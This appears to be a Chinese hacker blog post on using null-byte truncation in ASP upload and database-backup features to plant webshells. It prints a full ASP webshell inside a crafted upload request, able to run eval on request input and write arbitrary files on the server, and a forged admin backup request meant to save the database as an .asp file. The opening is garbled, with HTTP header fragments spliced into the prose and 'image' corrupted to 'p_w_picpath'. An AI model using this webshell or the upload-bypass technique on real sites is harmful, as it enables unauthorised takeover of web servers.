POST /coin/upload.asp?action=upfile HTTP/1.1
Accept: p_w_picpath/gif, p_w_picpath/x-xbitmap, p_w_picpath/jpeg, p_w_picpath/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer:
最近phpwind的包含漏洞,小菜一直想利用本地包含来进行拿shell,竟发现在魔术引号为off的情况下,%00可以截断,从而任意构造我们所需变量不过今天我们讨论的话题不是这个而是一个很经典的上传\00截断filepath,控制文件后缀。

下面是一个上传之后的包:
 
 
upload/2010/2/201002232155064073.gif
-----------------------------7d9138191ce08bc
Content-Disposition: form-data; name="valcode"

 
6918
-----------------------------7d9138191ce08bc
Content-Disposition: form-data; name="file_name1"; filename="D:\hacker\xiaoma.gif"
Content-Type: text/plain
<%eval request("#")%>
<%on error resume next%>
<%ofso="scripting.filesystemobject"%>
<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
<%if path<>"" then%>
<%data=request("dama")%>
<%set dama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%="success"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%="<form action='' method=post>"%>
<%="<input type=text name=path>"%>
<%="<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%=""%>
<%="<textarea name=dama cols=70 rows=30 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=save>"%>
<%="</form>"%>
-----------------------------7d9138191ce08bc
Content-Disposition: form-data; name="submit"
上 传
-----------------------------7d9138191ce08bc--
如果不出意外,我们可以上传得到我们的webshell了

我们在实际中,经常遇到一类后台,有备份,但是备份的文件尾他给你加个.mdb,比如下属这段代码
sub backupdata()
Dbpath=request.form("Dbpath")
Dbpath=server.mappath(Dbpath)
bkfolder=request.form("bkfolder")
bkdbname=request.form("bkdbname")
Set Fso=server.createobject("scripting.filesystemobject")
if fso.fileexists(dbpath) then
If CheckDir(bkfolder) = True Then
response.write bkfolder& "\"& bkdbname & ".mdb" '为了好看,我给他打印出来
fso.copyfile dbpath,bkfolder& "\"& bkdbname & ".mdb"
else
MakeNewsDir bkfolder
fso.copyfile dbpath,bkfolder& "\"& bkdbname & ".mdb"
end if
response.write "数据库备份完成,请进行其他操作!建立使用 FTP 工具将数据库备份,以保证数据安全"
else
response.write "找不到您所需要备份的文件!"
end if
end sub
Function CheckDir(FolderPath)
folderpath=Server.MapPath(".")&"\"&folderpath
Set fso1 = CreateObject("Scripting.FileSystemObject")
If fso1.FolderExists(FolderPath) then
CheckDir = True
Else
CheckDir = False
End if
Set fso1 = nothing
End Function
Function MakeNewsDir(foldername)
Set fso1 = CreateObject("Scripting.FileSystemObject")
Set f = fso1.CreateFolder(foldername)
MakeNewsDir = True
Set fso1 = nothing
End Function
一般的想法,我们是备份成1.asp;asp.mdb这样的形式来拿webshell
但是如果很遗憾,我们遇到的是iis7或者apache的服务器呢?
小菜自以为聪明的也想来一次截断
以下是修改后的包
POST /bjxshop/admin/Backup.asp?action=Backup HTTP/1.1
Accept: p_w_picpath/gif, p_w_picpath/x-xbitmap, p_w_picpath/jpeg, p_w_picpath/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://localhost/bjxshop/admin/backup.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost
Content-Length: 79
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCSASTTAR=EGGPAIHBCAHNKPGPOEOOKIFB
DBpath=..%2Fdata%2F%23bjxshop.mdb&bkfolder=..%2FDatabackup&bkDBname=shop.asp%00
由于url编码转换。。\00变成%00
nc提交之后得到,似乎和想象中的有点出入?? shop.asp.mdb
并没有截断!
以上是在本机iis5.0测试
冥思苦想了很久,终于有点头绪了
网上找了点资料加本地测试了下
<%
if request.queryString<>"" then
        id=request.queryString("id")
        response.write "Get:"
        response.write id&".mdb"
end if
%>
保存为re.asp
提交re.asp?id=111%00111
得到保留%00之前的字符
这就是request的时候出的问题,request("参数")遇到%00自动间断,放弃%00以及之后的字符

那为什么上面filepath变量可以进行截断呢?
比较一下这两种包的不同
一般上传文件的表单
enctype="multipart/form-data" 是这种格式的
而普通表单
不定义格式,
默认为:Content-Type: application/x-www-form-urlencoded
具体不同可以参照:http://hi.baidu.com/micronew/blo ... 8ddeea08fa93b5.html 无组件上传类的原理(我自己也没写过,太麻烦了,不过可以了解下)
enctype="multipart/form-data" 这种格式的上传的是一个文件表单,我们的无组件上传类必须对其内容进行分割(有固定格式),得到文件名,文件内容,路径值,因为路径值是分割得到的
所以,保留了\00这个邪恶的符号,带入保存,成功。

ps:在测试pw本地包含漏洞时,可能是php的机制原因,get参数中的%00也带了进去哦

以上是个人的一点小成果,可能对你们拿shell没什么帮助,不过作为自己实验出来的一点东西还是有点小骄傲的